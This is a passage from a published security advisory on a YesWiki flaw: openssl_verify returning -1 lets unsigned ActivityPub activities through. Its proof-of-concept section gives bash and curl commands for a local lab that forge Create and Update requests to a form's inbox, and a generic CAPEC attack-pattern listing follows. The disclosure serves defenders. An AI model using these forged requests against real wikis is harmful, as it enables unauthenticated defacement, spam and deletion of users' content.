URI\u003e\",\"type\":\"Event\",\"name\":\"...\",\"startTime\":\"...\"}}\n ```\n\n3. **YesWiki fetches the actor document** (line 96 - the SSRF; see sibling advisory), parses it, calls `openssl_get_publickey(...)` which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls `openssl_verify($data, \"junk-sig\", $dsaKey, \"RSA-SHA256\")`. EVP_VerifyFinal returns `-1`. The check `!openssl_verify(...)` evaluates to `false` and the throw is skipped.\n4. **`Digest` header is enforced**, but it\u0027s a simple `SHA-256=` of the body the attacker chose, so satisfying it costs one `sha256sum`.\n5. **`processActivity($activity, $form)` runs**: Create \u2192 `EntryManager::create()`, Update \u2192 `EntryManager::update()`, Delete \u2192 `EntryManager::delete()`. The triple store records the attacker\u0027s `object.id` as the source URL, which is how Update / Delete locate the entry on subsequent calls.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\nKEYID=\"http://127.0.0.1:9999/actors/attacker\"\nFORM_ID=2\nMARKER=\"DEMO_$(date +%s)\"\n```\n\nPHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that `openssl_verify` returns `-1`.\n\n```bash\npodman exec \"$CTR\" php -r \u0027\n $pem = file_get_contents(\"/tmp/attacker_keys/dsa.pub\");\n $key = openssl_get_publickey($pem);\n $r = openssl_verify(\"hello\", \"junk\", $key, \"RSA-SHA256\");\n echo \"openssl_verify returned: \" . var_export($r, true) . \"\\n\";\n echo \"!openssl_verify(...) is: \" . var_export(!$r, true) . \"\\n\";\n\u0027\n```\n\n**Expected output:**\n\n```\nopenssl_verify returned: -1\n!openssl_verify(...) is: false\n```\n\nVerify the listener is up and serving the DSA-key actor\n\n```bash\npodman exec \"$CTR\" cat /tmp/ssrf_listener.pid\npodman exec \"$CTR\" ps -p $(podman exec \"$CTR\" cat /tmp/ssrf_listener.pid) -o stat=\npodman exec \"$CTR\" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo\n```\n\n**Expected output:** a PID, `S` (sleeping/alive), and a JSON document beginning with `{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"http://127.0.0.1:9999/actors/attacker\", ...` and a `publicKeyPem` field whose value starts with `-----BEGIN PUBLIC KEY-----\\nMIIB...` (the DSA key - note the `Bv` prefix typical of DSA-key DER, not the `Ij` of RSA).\n\nBuild a JSON Create activity that the Agenda form\u0027s reverse-semantic template can map (it expects an `Event` with `name`, `content`, `startTime`, `endTime`, `location.address.*`, etc.):\n\n```bash\nACTIVITY=\u0027{\n \"@context\": \"https://www.w3.org/ns/activitystreams\",\n \"type\": \"Create\",\n \"id\": \"http://127.0.0.1:9999/activity/c-\u0027\"$MARKER\"\u0027\",\n \"actor\":\"\u0027\"$KEYID\"\u0027\",\n \"object\": {\n \"id\": \"http://127.0.0.1:9999/objects/\u0027\"$MARKER\"\u0027\",\n \"type\": \"Event\",\n \"name\": \"\u0027\"$MARKER\"\u0027 \u2014 created via the signature-verification bypass\",\n \"content\": \"openssl_verify returned -1; YesWiki accepted us anyway\",\n \"startTime\": \"2026-12-01T10:00:00Z\",\n \"endTime\": \"2026-12-01T12:00:00Z\"\n }\n}\u0027\n\n# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced\nDIGEST=\"SHA-256=$(printf \u0027%s\u0027 \"$ACTIVITY\" | openssl dgst -sha256 -binary | base64)\"\nDATE=\"$(date -uR | sed \u0027s/+0000/GMT/\u0027)\"\nSIG=\u0027keyId=\"\u0027\"$KEYID\"\u0027\",algorithm=\"RSA-SHA256\",headers=\"(request-target) host date digest content-type\",signature=\"anVuaw==\"\u0027\n\ncurl -s -X POST \"${BASE}/?api/forms/${FORM_ID}/actor/inbox\" \\\n -H \"Content-Type: application/activity+json\" \\\n -H \"Date: ${DATE}\" \\\n -H \"Digest: ${DIGEST}\" \\\n -H \"Signature: ${SIG}\" \\\n --data-raw \"$ACTIVITY\" \\\n -w \u0027\\n HTTP %{http_code}\\n\u0027\n```\n\nNow, try udating the entry via the same bypass\n\nThe triple store records `\u003ctag, sourceUrl, object.id\u003e` from the Create. An Update activity referencing the same `object.id` will look that up and rewrite the entry\u0027s body.\n\n```bash\nUPDATE_ACT=\u0027{\n \"@context\": \"https://www.w3.org/ns/activitystreams\",\n \"type\": \"Update\",\n \"id\": \"http://127.0.0.1:9999/activity/u-\u0027\"$MARKER\"\u0027\",\n \"actor\":\"\u0027\"$KEYID\"\u0027\",\n \"object\": {\n \"id\": \"http://127.0.0.1:9999/objects/\u0027\"$MARKER\"\u0027\",\n \"type\": \"Event\",\n \"name\": \"\u0027\"$MARKER\"\u0027_UPDATED \u2014 title was changed by an unauthenticated POST\",\n \"content\": \"this row was modified via the SAME bypass\",\n \"startTime\": \"2026-12-01T10:00:00Z\",\n \"endTime\": \"2026-12-01T12:00:00Z\"\n }\n}\u0027\nDIGEST=\"SHA-256=$(printf \u0027%s\u0027 \"$UPDATE_ACT\" | openssl dgst -sha256 -binary | base64)\"\nDATE=\"$(date -uR | sed \u0027s/+0000/GMT/\u0027)\"\n\ncurl -s -X POST \"${BASE}/?api/forms/${FORM_ID}/actor/inbox\" \\\n -H \"Content-Type: application/activity+json\" \\\n -H \"Date: ${DATE}\" \\\n -H \"Digest: ${DIGEST}\" \\\n -H \"Signature: ${SIG}\" \\\n --data-raw \"$UPDATE_ACT\" \\\n -w \u0027 HTTP %{http_code}\\n\u0027\n```\n\n**Expected output:** `HTTP 200`, empty body.\n\n## Impact\nCRUD on bazar entries of any ActivityPub-enabled form, **without authentication**:\n\n* **Create** - `EntryManager::create($form[\u0027bn_id_nature\u0027], $entry, false, $object[\u0027id\u0027])`. New row in `yeswiki_pages` and a triple `\u003ctag, sourceUrl, $object[\u0027id\u0027]\u003e` in `yeswiki_triples`.\n* **Update** - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.\n* **Delete** - same lookup, then `EntryManager::delete($tag, true)`.\n\nConcrete operational impact:\n\n* **Defacement / content injection** at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.\n* **Spam / SEO poisoning** through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.\n* **Erasure of legitimate federated content** - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its `object.id` discovered, and then deleted by replaying the chain with `type=Delete`.\n* **Triple-store pollution** - the `yeswiki_triples` table grows with attacker-controlled `sourceUrl` triples that survive entry deletion and can interfere with later federation flows.\n* **Reputation / federation poisoning** - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.",
"id": "GHSA-mv28-wj57-f57g",
"modified": "2026-07-09T20:58:12Z",
"published": "2026-07-09T20:58:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-mv28-wj57-f57g"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/d1795e0301e1a1078f17b4b98f56fff70de2029e"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`"
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.